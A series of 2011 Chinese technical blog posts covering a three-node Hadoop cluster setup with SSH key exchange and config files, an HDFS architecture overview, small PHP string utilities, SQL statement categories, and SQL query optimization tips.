cd进入/etc目录,vi编辑profile文件,将下面的内容追加到文件末尾
export JAVA_HOME=/usr/java/jdk1.6.0_18
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

注意:三台机器都要安装JDK~

2.设置Master/Slave机器之间可以通过SSH无密钥互相访问
最好三台机器的使用相同的账户名,我是直接使用的root账户

操作namenode机linux:
以用户root登录linux,在/root目录下执行下述命令:
ssh-keygen -t rsa
一路回车下去即可在目录/root/.ssh/下建立两个文件id_rsa.pub和id_rsa。

接下来,需要进入/root/.ssh目录,执行如下命令:
cd .ssh

再把is_rsa.pub文件复制到linux02和linux03机器上去。
scp -r id_rsa.pub root@192.168.35.102:/root/.ssh/authorized_keys_01
scp -r id_rsa.pub root@192.168.35.103:/root/.ssh/authorized_keys_01

操作datanode机linux02:
以用户root登录linux02,在目录下执行命令:
ssh-keygen -t rsa
一路回车下去即可在目录/root/.ssh/下建立两个文件 id_rsa.pub和id_rsa。

接下来,需要进入/root/.ssh目录,执行如下命令:
cd .ssh

再把is_rsa.pub文件复制到namenode机linux上去。
scp -r id_rsa.pub root@192.168.35.101:/root/.ssh/authorized_keys_02

操作datanode机linux03:
以用户root登录linux03,在目录下执行命令:
ssh-keygen -t rsa
一路回车下去即可在目录/root/.ssh/下建立两个文件 id_rsa.pub和id_rsa。

接下来,需要进入/root/.ssh目录,执行如下命令:
cd .ssh

再把is_rsa.pub文件复制到namenode机linux上去。
scp -r id_rsa.pub root@192.168.35.101:/root/.ssh/authorized_keys_03

*******************************************************************************

上述方式分别为linux\linux02\linux03机器生成了rsa密钥,并且把linux的id_rsa.pub复制到linux02\linux03上去了,而把linux02和linux03上的id_rsa.pub复制到linux上去了。

接下来还要完成如下步骤:

linux机:
以root用户登录linux,并且进入目录/root/.ssh下,执行如下命令:
cat id_rsa.pub >> authorized_keys
cat authorized_keys_02 >> authorized_keys
cat authorized_keys_03 >> authorized_keys
chmod 644 authorized_keys

linux02机:
以root用户登录linux02,并且进入目录/root/.ssh下,执行如下命令:
cat id_rsa.pub >> authorized_keys
cat authorized_keys_01 >> authorized_keys
chmod 644 authorized_keys

linux03机:
以root用户登录linux03,并且进入目录/root/.ssh下,执行如下命令:
cat id_rsa.pub >> authorized_keys
cat authorized_keys_01 >> authorized_keys
chmod 644 authorized_keys

通过上述配置,现在以用户root登录linux机,既可以无密钥认证方式访问linux02和linux03了,同样也可以在linux02和linux03上以ssh linux方式连接到linux上进行访问了。

3.安装和配置Hadoop
> 在namenode机器即linux机上安装hadoop
我下载的是hadoop-0.20.2.tar.gz,ftp上传到linux机的/root目录上,解压到安装目录/usr/hadoop,最终hadoop的根目录是/usr/hadoop/hadoop-0.20.2/

编辑/etc/profile文件,在文件尾部追加如下内容:
export HADOOP_HOME=/usr/hadoop/hadoop-0.20.2
export PATH=$HADOOP_HOME/bin:$PATH

> 配置Hadoop
core-site.xml:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>

<!-- Put site-specific property overrides in this file. -->
<configuration>
    <property>
                <name>fs.default.name</name>
                <value>hdfs://192.168.35.101:9000</value>
        </property>
        <property>
                <name>hadoop.tmp.dir</name>
                <value>/tmp/hadoop/hadoop-${user.name}</value>
        </property>
</configuration>

hdfs-site.xml:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>

<!-- Put site-specific property overrides in this file. -->
<configuration>
        <property>
                <name>dfs.name.dir</name>
                <value>/home/hadoop/name</value>
        </property>
        <property>
                <name>dfs.data.dir</name>
                <value>/home/hadoop/data</value>
        </property>
        <property>
                <name>dfs.replication</name>
                <value>2</value>
        </property>
</configuration>

mapred-site.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>

<!-- Put site-specific property overrides in this file. -->
<configuration>
        <property>
                <name>mapred.job.tracker</name>
                <value>192.168.35.101:9001</value>
        </property>
</configuration>

masters
192.168.35.101

slaves
192.168.35.102
192.168.35.103

至此,hadoop的简单配置已经完成

> 将在namenode机器上配置好的hadoop部署到datanode机器上
这里使用scp命令进行远程传输,先后执行命令
scp -r /usr/hadoop/hadoop-0.20.2 root@192.168.35.102:/usr/hadoop/
scp -r /usr/hadoop/hadoop-0.20.2 root@192.168.35.103:/usr/hadoop/

4.测试
以root用户登入namenode机linux,进入目录/usr/hadoop/hadoop-0.20.2/
cd /usr/hadoop/hadoop-0.20.2

> 执行格式化
[root@linux hadoop-0.20.2]# bin/hadoop namenode -format
11/07/26 21:16:03 INFO namenode.NameNode: STARTUP_MSG:
/************************************************************
STARTUP_MSG: Starting NameNode
STARTUP_MSG:   host = linux/127.0.0.1
STARTUP_MSG:   args = [-format]
STARTUP_MSG:   version = 0.20.2
STARTUP_MSG:   build = https://svn.apache.org/repos/asf/hadoop/common/branches/branch-0.20 -r 911707; compiled by 'chrisdo' on Fri Feb 19 08:07:34 UTC 2010
************************************************************/
Re-format filesystem in /home/hadoop/name ? (Y or N) Y
11/07/26 21:16:07 INFO namenode.FSNamesystem: fsOwner=root,root,bin,daemon,sys,adm,disk,wheel
11/07/26 21:16:07 INFO namenode.FSNamesystem: supergroup=supergroup
11/07/26 21:16:07 INFO namenode.FSNamesystem: isPermissionEnabled=true
11/07/26 21:16:07 INFO common.Storage: Image file of size 94 saved in 0 seconds.
11/07/26 21:16:07 INFO common.Storage: Storage directory /home/hadoop/name has been successfully formatted.
11/07/26 21:16:07 INFO namenode.NameNode: SHUTDOWN_MSG:
/************************************************************
SHUTDOWN_MSG: Shutting down NameNode at linux/127.0.0.1
************************************************************/

> 启动hadoop
[root@linux hadoop-0.20.2]# bin/start-all.sh
starting namenode, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-namenode-linux.out
192.168.35.102: starting datanode, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-datanode-linux02.out
192.168.35.103: starting datanode, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-datanode-linux03.out
192.168.35.101: starting secondarynamenode, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-secondarynamenode-linux.out
starting jobtracker, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-jobtracker-linux.out
192.168.35.103: starting tasktracker, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-tasktracker-linux03.out
192.168.35.102: starting tasktracker, logging to /usr/hadoop/hadoop-0.20.2/bin/../logs/hadoop-root-tasktracker-linux02.out
[root@linux hadoop-0.20.2]#

> 用jps命令查看进程
[root@linux hadoop-0.20.2]# jps
7118 SecondaryNameNode
7343 Jps
6955 NameNode
7204 JobTracker
[root@linux hadoop-0.20.2]#

posted @ 2011-08-25 16:01 jadmin 阅读(119) | 评论 (0)编辑 收藏

引言

Hadoop分布式文件系统(HDFS)被设计成适 合运行在通用硬件(commodity hardware)上的分布式文件系统。它和现有的分布式文件系统有很多共同点。但同时,它和其他的分布式文件系统的区别也是很明显的。HDFS是一个高 度容错性的系统,适合部署在廉价的机器上。HDFS能提供高吞吐量的数据访问,非常适合大规模数据集上的应用。HDFS放宽了一部分POSIX约束,来实 现流式读取文件系统数据的目的。HDFS在最开始是作为Apache Nutch搜索引擎项目的基础架构而开发的。HDFS是Apache Hadoop Core项目的一部分。这个项目的地址是http://hadoop.apache.org/core/

前提和设计目标

硬件错误

硬件错误是常态而不是异常。HDFS可能由成百上千的服务器所构成,每个服务器上存储着文件系统的部分数据。我们面对的现实是构成系统的组件数目是巨大 的,而且任一组件都有可能失效,这意味着总是有一部分HDFS的组件是不工作的。因此错误检测和快速、自动的恢复是HDFS最核心的架构目标。

流式数据访问

运行在HDFS上的应用和普通的应用不同,需要流式访问它们的数据集。HDFS的设计中更多的考虑到了数据批处理,而不是用户交互处理。比之数据访问的低 延迟问题,更关键的在于数据访问的高吞吐量。POSIX标准设置的很多硬性约束对HDFS应用系统不是必需的。为了提高数据的吞吐量,在一些关键方面对 POSIX的语义做了一些修改。

大规模数据集

运行在HDFS上的应用具有很大的数据集。HDFS上的一个典型文件大小一般都在G字节至T字节。因此,HDFS被调节以支持大文件存储。它应该能提供整 体上高的数据传输带宽,能在一个集群里扩展到数百个节点。一个单一的HDFS实例应该能支撑数以千万计的文件。

简单的一致性模型

HDFS应用需要一个“一次写入多次读取”的文件访问模型。一个文件经过创建、写入和关闭之后就不需要改变。这一假设简化了数据一致性问题,并且使高吞吐 量的数据访问成为可能。Map/Reduce应用或者网络爬虫应用都非常适合这个模型。目前还有计划在将来扩充这个模型,使之支持文件的附加写操作。

“移动计算比移动数据更划算”

一个应用请求的计算,离它操作的数据越近就越高效,在数据达到海量级别的时候更是如此。因为这样就能降低网络阻塞的影响,提高系统数据的吞吐量。将计算移 动到数据附近,比之将数据移动到应用所在显然更好。HDFS为应用提供了将它们自己移动到数据附近的接口。

异构软硬件平台间的可移植性

HDFS在设计的时候就考虑到平台的可移植性。这种特性方便了HDFS作为大规模数据应用平台的推广。

Namenode 和 Datanode

HDFS采用master/slave架构。一个HDFS集群是由一个Namenode和一定数目的Datanodes组成。Namenode是一个中心 服务器,负责管理文件系统的名字空间(namespace)以及客户端对文件的访问。集群中的Datanode一般是一个节点一个,负责管理它所在节点上 的存储。HDFS暴露了文件系统的名字空间,用户能够以文件的形式在上面存储数据。从内部看,一个文件其实被分成一个或多个数据块,这些块存储在一组 Datanode上。Namenode执行文件系统的名字空间操作,比如打开、关闭、重命名文件或目录。它也负责确定数据块到具体Datanode节点的 映射。Datanode负责处理文件系统客户端的读写请求。在Namenode的统一调度下进行数据块的创建、删除和复制。

HDFS 架构

Namenode和Datanode被设计成可以在普通的商用机器上运行。这些机器一般运行着GNU/Linux操作系统(OS)。 HDFS采用Java语言开发,因此任何支持Java的机器都可以部署Namenode或Datanode。由于采用了可移植性极强的Java语言,使得 HDFS可以部署到多种类型的机器上。一个典型的部署场景是一台机器上只运行一个Namenode实例,而集群中的其它机器分别运行一个Datanode 实例。这种架构并不排斥在一台机器上运行多个Datanode,只不过这样的情况比较少见。

集群中单一Namenode的结构大大简化了系统的架构。Namenode是所有HDFS元数据的仲裁者和管理者,这样,用户数据永远不会流过Namenode。

文件系统的名字空间 (namespace)

HDFS支持传统的层次型文件组织结构。用户或者应用程序可以创建目录,然后将文件保存在这些目录里。文件系统名字空间的层次结构和大多数现有的文件系统 类似:用户可以创建、删除、移动或重命名文件。当前,HDFS不支持用户磁盘配额和访问权限控制,也不支持硬链接和软链接。但是HDFS架构并不妨碍实现 这些特性。

Namenode负责维护文件系统的名字空间,任何对文件系统名字空间或属性的修改都将被Namenode记录下来。应用程序可以设置HDFS保存的文件的副本数目。文件副本的数目称为文件的副本系数,这个信息也是由Namenode保存的。

数据复制

HDFS被设计成能够在一个大集群中跨机器可靠地存储超大文件。它将每个文件存储成一系列的数据块,除了最后一个,所有的数据块都是同样大小的。为了容 错,文件的所有数据块都会有副本。每个文件的数据块大小和副本系数都是可配置的。应用程序可以指定某个文件的副本数目。副本系数可以在文件创建的时候指 定,也可以在之后改变。HDFS中的文件都是一次性写入的,并且严格要求在任何时候只能有一个写入者。

Namenode全权管理数据块的复制,它周期性地从集群中的每个Datanode接收心跳信号和块状态报告(Blockreport)。接收到心跳信号意味着该Datanode节点工作正常。块状态报告包含了一个该Datanode上所有数据块的列表。

HDFS Datanodes

副本存放: 最最开始的一步

副本的存放是HDFS可靠性和性能的关键。优化的副本存放策略是HDFS区分于其他大部分分布式文件系统的重要特性。这种特性需要做大量的调优,并需要经 验的积累。HDFS采用一种称为机架感知(rack-aware)的策略来改进数据的可靠性、可用性和网络带宽的利用率。目前实现的副本存放策略只是在这 个方向上的第一步。实现这个策略的短期目标是验证它在生产环境下的有效性,观察它的行为,为实现更先进的策略打下测试和研究的基础。

大型HDFS实例一般运行在跨越多个机架的计算机组成的集群上,不同机架上的两台机器之间的通讯需要经过交换机。在大多数情况下,同一个机架内的两台机器间的带宽会比不同机架的两台机器间的带宽大。

通过一个机架感知的 过程,Namenode可以确定每个Datanode所属的机架id。一个简单但没有优化的策略就是将副本存放在不同的机架上。这样可以有效防止当整个机 架失效时数据的丢失,并且允许读数据的时候充分利用多个机架的带宽。这种策略设置可以将副本均匀分布在集群中,有利于当组件失效情况下的负载均衡。但是, 因为这种策略的一个写操作需要传输数据块到多个机架,这增加了写的代价。

在大多数情况下,副本系数是3,HDFS的存放策略是将一个副本存放在本地机架的节点上,一个副本放在同一机架的另一个节点上,最后一个副本放在不同机架 的节点上。这种策略减少了机架间的数据传输,这就提高了写操作的效率。机架的错误远远比节点的错误少,所以这个策略不会影响到数据的可靠性和可用性。于此 同时,因为数据块只放在两个(不是三个)不同的机架上,所以此策略减少了读取数据时需要的网络传输总带宽。在这种策略下,副本并不是均匀分布在不同的机架 上。三分之一的副本在一个节点上,三分之二的副本在一个机架上,其他副本均匀分布在剩下的机架中,这一策略在不损害数据可靠性和读取性能的情况下改进了写 的性能。

当前,这里介绍的默认副本存放策略正在开发的过程中。

副本选择

为了降低整体的带宽消耗和读取延时,HDFS会尽量让读取程序读取离它最近的副本。如果在读取程序的同一个机架上有一个副本,那么就读取该副本。如果一个HDFS集群跨越多个数据中心,那么客户端也将首先读本地数据中心的副本。

安全模式

Namenode启动后会进入一个称为安全模式的特殊状态。处于安全模式的Namenode是不会进行数据块的复制的。Namenode从所有的 Datanode接收心跳信号和块状态报告。块状态报告包括了某个Datanode所有的数据块列表。每个数据块都有一个指定的最小副本数。当 Namenode检测确认某个数据块的副本数目达到这个最小值,那么该数据块就会被认为是副本安全(safely replicated)的;在一定百分比(这个参数可配置)的数据块被Namenode检测确认是安全之后(加上一个额外的30秒等待时 间),Namenode将退出安全模式状态。接下来它会确定还有哪些数据块的副本没有达到指定数目,并将这些数据块复制到其他Datanode上。

文件系统元数据的持久化

Namenode上保存着HDFS的名字空间。对于任何对文件系统元数据产生修改的操作,Namenode都会使用一种称为EditLog的事务日志记录 下来。例如,在HDFS中创建一个文件,Namenode就会在Editlog中插入一条记录来表示;同样地,修改文件的副本系数也将往Editlog插 入一条记录。Namenode在本地操作系统的文件系统中存储这个Editlog。整个文件系统的名字空间,包括数据块到文件的映射、文件的属性等,都存 储在一个称为FsImage的文件中,这个文件也是放在Namenode所在的本地文件系统上。

Namenode在内存中保存着整个文件系统的名字空间和文件数据块映射(Blockmap)的映像。这个关键的元数据结构设计得很紧凑,因而一个有4G 内存的Namenode足够支撑大量的文件和目录。当Namenode启动时,它从硬盘中读取Editlog和FsImage,将所有Editlog中的 事务作用在内存中的FsImage上,并将这个新版本的FsImage从内存中保存到本地磁盘上,然后删除旧的Editlog,因为这个旧的 Editlog的事务都已经作用在FsImage上了。这个过程称为一个检查点(checkpoint)。在当前实现中,检查点只发生在Namenode 启动时,在不久的将来将实现支持周期性的检查点。

Datanode将HDFS数据以文件的形式存储在本地的文件系统中,它并不知道有关HDFS文件的信息。它把每个HDFS数据块存储在本地文件系统的一 个单独的文件中。Datanode并不在同一个目录创建所有的文件,实际上,它用试探的方法来确定每个目录的最佳文件数目,并且在适当的时候创建子目录。 在同一个目录中创建所有的本地文件并不是最优的选择,这是因为本地文件系统可能无法高效地在单个目录中支持大量的文件。当一个Datanode启动时,它 会扫描本地文件系统,产生一个这些本地文件对应的所有HDFS数据块的列表,然后作为报告发送到Namenode,这个报告就是块状态报告。

通讯协议

所有的HDFS通讯协议都是建立在TCP/IP协议之上。客户端通过一个可配置的TCP端口连接到Namenode,通过ClientProtocol协议与Namenode交互。而Datanode使用DatanodeProtocol协议与Namenode交互。一个远程过程调用(RPC)模型被抽象出来封装ClientProtocol和Datanodeprotocol协议。在设计上,Namenode不会主动发起RPC,而是响应来自客户端或 Datanode 的RPC请求。

健壮性

HDFS的主要目标就是即使在出错的情况下也要保证数据存储的可靠性。常见的三种出错情况是:Namenode出错, Datanode出错和网络割裂(network partitions)。

磁盘数据错误,心跳检测和重新复制

每个Datanode节点周期性地向Namenode发送心跳信号。网络割裂可能导致一部分Datanode跟Namenode失去联系。 Namenode通过心跳信号的缺失来检测这一情况,并将这些近期不再发送心跳信号Datanode标记为宕机,不会再将新的IO请 求发给它们。任何存储在宕机Datanode上的数据将不再有效。Datanode的宕机可能会引起一些数据块的副本系数低于指定值,Namenode不 断地检测这些需要复制的数据块,一旦发现就启动复制操作。在下列情况下,可能需要重新复制:某个Datanode节点失效,某个副本遭到损 坏,Datanode上的硬盘错误,或者文件的副本系数增大。

集群均衡

HDFS的架构支持数据均衡策略。如果某个Datanode节点上的空闲空间低于特定的临界点,按照均衡策略系统就会自动地将数据从这个Datanode 移动到其他空闲的Datanode。当对某个文件的请求突然增加,那么也可能启动一个计划创建该文件新的副本,并且同时重新平衡集群中的其他数据。这些均 衡策略目前还没有实现。

数据完整性

从某个Datanode获取的数据块有可能是损坏的,损坏可能是由Datanode的存储设备错误、网络错误或者软件bug造成的。HDFS客户端软件实 现了对HDFS文件内容的校验和(checksum)检查。当客户端创建一个新的HDFS文件,会计算这个文件每个数据块的校验和,并将校验和作为一个单 独的隐藏文件保存在同一个HDFS名字空间下。当客户端获取文件内容后,它会检验从Datanode获取的数据跟相应的校验和文件中的校验和是否匹配,如 果不匹配,客户端可以选择从其他Datanode获取该数据块的副本。

元数据磁盘错误

FsImage和Editlog是HDFS的核心数据结构。如果这些文件损坏了,整个HDFS实例都将失效。因而,Namenode可以配置成支持维护多 个FsImage和Editlog的副本。任何对FsImage或者Editlog的修改,都将同步到它们的副本上。这种多副本的同步操作可能会降低 Namenode每秒处理的名字空间事务数量。然而这个代价是可以接受的,因为即使HDFS的应用是数据密集的,它们也非元数据密集的。当 Namenode重启的时候,它会选取最近的完整的FsImage和Editlog来使用。

Namenode是HDFS集群中的单点故障(single point of failure)所在。如果Namenode机器故障,是需要手工干预的。目前,自动重启或在另一台机器上做Namenode故障转移的功能还没实现。

快照

快照支持某一特定时刻的数据的复制备份。利用快照,可以让HDFS在数据损坏时恢复到过去一个已知正确的时间点。HDFS目前还不支持快照功能,但计划在将来的版本进行支持。

数据组织

数据块

HDFS被设计成支持大文件,适用HDFS的是那些需要处理大规模的数据集的应用。这些应用都是只写入数据一次,但却读取一次或多次,并且读取速度应能满 足流式读取的需要。HDFS支持文件的“一次写入多次读取”语义。一个典型的数据块大小是64MB。因而,HDFS中的文件总是按照64M被切分成不同的 块,每个块尽可能地存储于不同的Datanode中。

Staging

客户端创建文件的请求其实并没有立即发送给Namenode,事实上,在刚开始阶段HDFS客户端会先将文件数据缓存到本地的一个临时文件。应用程序的写 操作被透明地重定向到这个临时文件。当这个临时文件累积的数据量超过一个数据块的大小,客户端才会联系Namenode。Namenode将文件名插入文 件系统的层次结构中,并且分配一个数据块给它。然后返回Datanode的标识符和目标数据块给客户端。接着客户端将这块数据从本地临时文件上传到指定的 Datanode上。当文件关闭时,在临时文件中剩余的没有上传的数据也会传输到指定的Datanode上。然后客户端告诉Namenode文件已经关 闭。此时Namenode才将文件创建操作提交到日志里进行存储。如果Namenode在文件关闭前宕机了,则该文件将丢失。

上述方法是对在HDFS上运行的目标应用进行认真考虑后得到的结果。这些应用需要进行文件的流式写入。如果不采用客户端缓存,由于网络速度和网络堵塞会对吞估量造成比较大的影响。这种方法并不是没有先例的,早期的文件系统,比如AFS,就用客户端缓存来提高性能。为了达到更高的数据上传效率,已经放松了POSIX标准的要求。

流水线复制

当客户端向HDFS文件写入数据的时候,一开始是写到本地临时文件中。假设该文件的副本系数设置为3,当本地临时文件累积到一个数据块的大小时,客户端会 从Namenode获取一个Datanode列表用于存放副本。然后客户端开始向第一个Datanode传输数据,第一个Datanode一小部分一小部 分(4 KB)地接收数据,将每一部分写入本地仓库,并同时传输该部分到列表中第二个Datanode节点。第二个Datanode也是这样,一小部分一小部分地 接收数据,写入本地仓库,并同时传给第三个Datanode。最后,第三个Datanode接收数据并存储在本地。因此,Datanode能流水线式地从 前一个节点接收数据,并在同时转发给下一个节点,数据以流水线的方式从前一个Datanode复制到下一个。

可访问性

HDFS给应用提供了多种访问方式。用户可以通过Java API接口访问,也可以通过C语言的封装API访问,还可以通过浏览器的方式访问HDFS中的文件。通过WebDAV协议访问的方式正在开发中。

DFSShell

HDFS以文件和目录的形式组织用户数据。它提供了一个命令行的接口(DFSShell)让用户与HDFS中的数据进行交互。命令的语法和用户熟悉的其他shell(例如 bash, csh)工具类似。下面是一些动作/命令的示例:

动作 命令
创建一个名为/foodir的目录 bin/hadoop dfs -mkdir /foodir
创建一个名为/foodir的目录 bin/hadoop dfs -mkdir /foodir
查看名为/foodir/myfile.txt的文件内容 bin/hadoop dfs -cat /foodir/myfile.txt

DFSShell 可以用在那些通过脚本语言和文件系统进行交互的应用程序上。

DFSAdmin

DFSAdmin 命令用来管理HDFS集群。这些命令只有HDSF的管理员才能使用。下面是一些动作/命令的示例:

动作 命令
将集群置于安全模式 bin/hadoop dfsadmin -safemode enter
显示Datanode列表 bin/hadoop dfsadmin -report
使Datanode节点datanodename退役 bin/hadoop dfsadmin -decommission datanodename

浏览器接口

一个典型的HDFS安装会在一个可配置的TCP端口开启一个Web服务器用于暴露HDFS的名字空间。用户可以用浏览器来浏览HDFS的名字空间和查看文件的内容。

存储空间回收

文件的删除和恢复

当用户或应用程序删除某个文件时,这个文件并没有立刻从HDFS中删除。实际上,HDFS会将这个文件重命名转移到/trash目录。只要文件还在/trash目录中,该文件就可以被迅速地恢复。文件在/trash中保存的时间是可配置的,当超过这个时间时,Namenode就会将该文件从名字空间中删除。删除文件会使得该文件相关的数据块被释放。注意,从用户删除文件到HDFS空闲空间的增加之间会有一定时间的延迟。

只要被删除的文件还在/trash目录中,用户就可以恢复这个文件。如果用户想恢复被删除的文件,他/她可以浏览/trash目录找回该文件。/trash目录仅仅保存被删除文件的最后副本。/trash目录与其他的目录没有什么区别,除了一点:在该目录上HDFS会应用一个特殊策略来自动删除文件。目前的默认策略是删除/trash中保留时间超过6小时的文件。将来,这个策略可以通过一个被良好定义的接口配置。

减少副本系数

当一个文件的副本系数被减小后,Namenode会选择过剩的副本删除。下次心跳检测时会将该信息传递给Datanode。Datanode遂即移除相应的数据块,集群中的空闲空间加大。同样,在调用setReplicationAPI结束和集群中空闲空间增加间会有一定的延迟。

参考资料

posted @ 2011-08-24 12:59 jadmin 阅读(121) | 评论 (0)编辑 收藏

function is_email($email) {
        $exp = "^[a-z'0-9]+([._-][a-z'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
        if(eregi($exp,$email)) {
            return true;
        }
        return false;
 }


posted @ 2011-08-22 19:37 jadmin 阅读(92) | 评论 (0)编辑 收藏

function remove_quote(&$str) {
        if (preg_match("/^\"/",$str)){
            $str = substr($str, 1, strlen($str) - 1);
        }
        //判断字符串是否以'"'结束
        if (preg_match("/\"$/",$str)){
            $str = substr($str, 0, strlen($str) - 1);;
        }
        return $str;
  }

posted @ 2011-08-22 19:36 jadmin 阅读(421) | 评论 (0)编辑 收藏

function is_chinese($s){
        $allen = preg_match("/^[^\x80-\xff]+$/", $s);   //判断是否是英文
        $allcn = preg_match("/^[".chr(0xa1)."-".chr(0xff)."]+$/",$s);  //判断是否是中文
        if($allen){  
              return 'allen';  
        }else{  
              if($allcn){  
                   return 'allcn';  
              }else{  
                   return 'encn';  
              }  
        } 
   }

posted @ 2011-08-22 10:14 jadmin 阅读(210) | 评论 (0)编辑 收藏

DML(data manipulation language):
       它们是SELECT、UPDATE、INSERT、DELETE,就象它的名字一样,这4条命令是用来对数据库里的数据进行操作的语言
DDL(data definition language):
       DDL比DML要多,主要的命令有CREATE、ALTER、DROP等,DDL主要是用在定义或改变表(TABLE)的结构,数据类型,表之间的链接和约束等初始化工作上,他们大多在建立表时使用
DCL(Data Control Language):
       是数据库控制功能。是用来设置或更改数据库用户或角色权限的语句,包括(grant,deny,revoke等)语句。在默认状态下,只有sysadmin,dbcreator,db_owner或db_securityadmin等人员才有权力执行DCL

详细解释:
一、DDL is Data Definition Language statements. Some examples:数据定义语言,用于定义和管理 SQL 数据库中的所有对象的语言
      1.CREATE - to create objects in the database   创建
      2.ALTER - alters the structure of the database   修改
      3.DROP - delete objects from the database   删除
      4.TRUNCATE - remove all records from a table, including all spaces allocated for the records are removed
      TRUNCATE TABLE [Table Name]。
  下面是对Truncate语句在MSSQLServer2000中用法和原理的说明:
  Truncate table 表名 速度快,而且效率高,因为:
  TRUNCATE TABLE 在功能上与不带 WHERE 子句的 DELETE 语句相同:二者均删除表中的全部行。但 TRUNCATE TABLE 比 DELETE 速度快,且使用的系统和事务日志资源少。
  DELETE 语句每次删除一行,并在事务日志中为所删除的每行记录一项。TRUNCATE TABLE 通过释放存储表数据所用的数据页来删除数据,并且只在事务日志中记录页的释放。
  TRUNCATE TABLE 删除表中的所有行,但表结构及其列、约束、索引等保持不变。新行标识所用的计数值重置为该列的种子。如果想保留标识计数值,请改用 DELETE。如果要删除表定义及其数据,请使用 DROP TABLE 语句。
  对于由 FOREIGN KEY 约束引用的表,不能使用 TRUNCATE TABLE,而应使用不带 WHERE 子句的 DELETE 语句。由于 TRUNCATE TABLE 不记录在日志中,所以它不能激活触发器。
  TRUNCATE TABLE 不能用于参与了索引视图的表。
       5.COMMENT - add comments to the data dictionary 注释
       6.GRANT - gives user's access privileges to database 授权
       7.REVOKE - withdraw access privileges given with the GRANT command   收回已经授予的权限

二、DML is Data Manipulation Language statements. Some examples:数据操作语言,SQL中处理数据等操作统称为数据操纵语言
       1.SELECT - retrieve data from the a database           查询
       2.INSERT - insert data into a table                    添加
       3.UPDATE - updates existing data within a table    更新
       4.DELETE - deletes all records from a table, the space for the records remain   删除
       5.CALL - call a PL/SQL or Java subprogram
       6.EXPLAIN PLAN - explain access path to data
       Oracle RDBMS执行每一条SQL语句,都必须经过Oracle优化器的评估。所以,了解优化器是如何选择(搜索)路径以及索引是如何被使用的,对优化SQL语句有很大的帮助。Explain可以用来迅速方便地查出对于给定SQL语句中的查询数据是如何得到的即搜索路径(我们通常称为Access Path)。从而使我们选择最优的查询方式达到最大的优化效果。
       7.LOCK TABLE - control concurrency 锁,用于控制并发

三、DCL is Data Control Language statements. Some examples:数据控制语言,用来授予或回收访问数据库的某种特权,并控制数据库操纵事务发生的时间及效果,对数据库实行监视等
       1.COMMIT - save work done 提交
       2.SAVEPOINT - identify a point in a transaction to which you can later roll back 保存点
       3.ROLLBACK - restore database to original since the last COMMIT   回滚
       4.SET TRANSACTION - Change transaction options like what rollback segment to use   设置当前事务的特性,它对后面的事务没有影响.


posted @ 2011-08-17 19:40 jadmin 阅读(102) | 评论 (0)编辑 收藏

今天启动Eclipse时,弹出错误提示:

解决办法:将Eclipse下的eclipse.ini文件做如下改动

=>

 

posted @ 2011-08-16 17:09 jadmin 阅读(100) | 评论 (0)编辑 收藏

1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。

2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描,如:

  select id from t where num is null

  可以在num上设置默认值0,确保表中num列没有null值,然后这样查询:

  select id from t where num=0

3.应尽量避免在 where 子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描。

4.应尽量避免在 where 子句中使用 or 来连接条件,否则将导致引擎放弃使用索引而进行全表扫描,如:

  select id from t where num=10 or num=20

  可以这样查询:

  select id from t where num=10

  union all

  select id from t where num=20

5.in 和 not in 也要慎用,否则会导致全表扫描,如:

  select id from t where num in(1,2,3)

  对于连续的数值,能用 between 就不要用 in 了:

  select id from t where num between 1 and 3

6.下面的查询也将导致全表扫描:

  select id from t where name like '%abc%'

  若要提高效率,可以考虑全文检索。

7.如果在 where 子句中使用参数,也会导致全表扫描。因为SQL只有在运行时才会解析局部变量,但优化程序不能将访问计划的选择推迟到运行时;它必须在编译时进行选择。然而,如果在编译时建立访问计划,变量的值还是未知的,因而无法作为索引选择的输入项。如下面语句将进行全表扫描:

  select id from t where num=@num

  可以改为强制查询使用索引:

  select id from t with(index(索引名)) where num=@num

8.应尽量避免在 where 子句中对字段进行表达式操作,这将导致引擎放弃使用索引而进行全表扫描。如:

  select id from t where num/2=100

  应改为:

  select id from t where num=100*2

9.应尽量避免在where子句中对字段进行函数操作,这将导致引擎放弃使用索引而进行全表扫描。如:

  select id from t where substring(name,1,3)='abc'--name以abc开头的id

  select id from t where datediff(day,createdate,'2005-11-30')=0--‘2005-11-30’生成的id

  应改为:

  select id from t where name like 'abc%'

  select id from t where createdate>='2005-11-30' and createdate<'2005-12-1'

10.不要在 where 子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。

11.在使用索引字段作为条件时,如果该索引是复合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用,并且应尽可能的让字段顺序与索引顺序相一致。

12.不要写一些没有意义的查询,如需要生成一个空表结构:

  select col1,col2 into #t from t where 1=0

  这类代码不会返回任何结果集,但是会消耗系统资源的,应改成这样:

  create table #t(...)

13.很多时候用 exists 代替 in 是一个好的选择:

  select num from a where num in(select num from b)

  用下面的语句替换:

  select num from a where exists(select 1 from b where num=a.num)

14.并不是所有索引对查询都有效,SQL是根据表中数据来进行查询优化的,当索引列有大量数据重复时,SQL查询可能不会去利用索引,如一表中有字段sex,male、female几乎各一半,那么即使在sex上建了索引也对查询效

率起不了作用。

